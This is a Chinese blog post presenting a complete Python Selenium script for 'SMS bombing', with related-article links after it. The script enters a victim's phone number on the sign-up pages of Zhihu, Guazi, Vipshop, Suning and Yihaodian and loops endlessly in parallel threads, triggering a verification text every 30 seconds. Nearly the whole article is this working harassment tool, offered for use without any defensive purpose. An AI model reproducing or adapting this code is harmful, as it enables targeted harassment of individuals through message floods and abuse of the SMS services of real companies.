Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python列表推导式的使用方法
Nov 21 Python
python实现dnspod自动更新dns解析的方法
Feb 14 Python
Python实现string字符串连接的方法总结【8种方式】
Jul 06 Python
利用Python实现微信找房机器人实例教程
Mar 10 Python
python实现微信防撤回神器
Apr 29 Python
Python实现 PS 图像调整中的亮度调整
Jun 28 Python
python实现简单银行管理系统
Oct 25 Python
Python object类中的特殊方法代码讲解
Mar 06 Python
在django admin详情表单显示中添加自定义控件的实现
Mar 11 Python
Python通过kerberos安全认证操作kafka方式
Jun 06 Python
Python-for循环的内部机制
Jun 12 Python
python中upper是做什么用的
Jul 20 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
PHP 之 写时复制介绍(Copy On Write)
2014/05/13 PHP
ThinkPHP模版中导入CSS和JS文件的方法
2014/11/29 PHP
Yii中CGridView禁止列排序的设置方法
2016/07/12 PHP
浅析php如何实现App常用的秒发功能
2016/08/03 PHP
Zend Framework数据库操作方法实例总结
2016/12/11 PHP
JavaScript的面向对象(一)
2006/11/09 Javascript
js判断运行jsp页面的浏览器类型以及版本示例
2013/10/30 Javascript
jquery禁用右键单击功能屏蔽F5刷新
2014/03/17 Javascript
JavaScript设计模式之单件模式介绍
2014/12/28 Javascript
JS获得选取checkbox整行数据的方法
2015/01/28 Javascript
微信WeixinJSBridge API使用实例
2015/05/25 Javascript
详解Vue路由钩子及应用场景(小结)
2017/11/07 Javascript
在 Angular-cli 中使用 simple-mock 实现前端开发 API Mock 接口数据模拟功能的方法
2018/11/28 Javascript
JavaScript对象原型链原理详解
2020/02/05 Javascript
javascript前端实现多视频上传
2020/12/13 Javascript
Python中的闭包总结
2014/09/18 Python
Python的Flask框架与数据库连接的教程
2015/04/20 Python
在Python中使用HTML模版的教程
2015/04/29 Python
解决python3中cv2读取中文路径的问题
2018/12/05 Python
Python基础之循环语句用法示例【for、while循环】
2019/03/23 Python
搞定这套Python爬虫面试题(面试会so easy)
2019/04/03 Python
如何给Python代码进行加密
2020/01/10 Python
PIL包中Image模块的convert()函数的具体使用
2020/02/26 Python
Tensorflow中的降维函数tf.reduce_*使用总结
2020/04/20 Python
keras的load_model实现加载含有参数的自定义模型
2020/06/22 Python
python报错: 'list' object has no attribute 'shape'的解决
2020/07/15 Python
解决python中0x80072ee2错误的方法
2020/07/19 Python
两道JAVA笔试题
2016/09/14 面试题
国贸专业个人求职信分享
2013/12/04 职场文书
职位说明书范文
2014/05/07 职场文书
体育专业自荐书
2014/05/29 职场文书
服务标语口号
2014/07/01 职场文书
成绩报告单家长评语
2014/12/30 职场文书
2015年社区综治工作总结
2015/04/21 职场文书
css3 利用transform-origin 实现圆点分布在大圆上布局及旋转特效
2021/04/29 HTML / CSS
Vue组件化(ref,props, mixin,.插件)详解
2022/05/15 Vue.js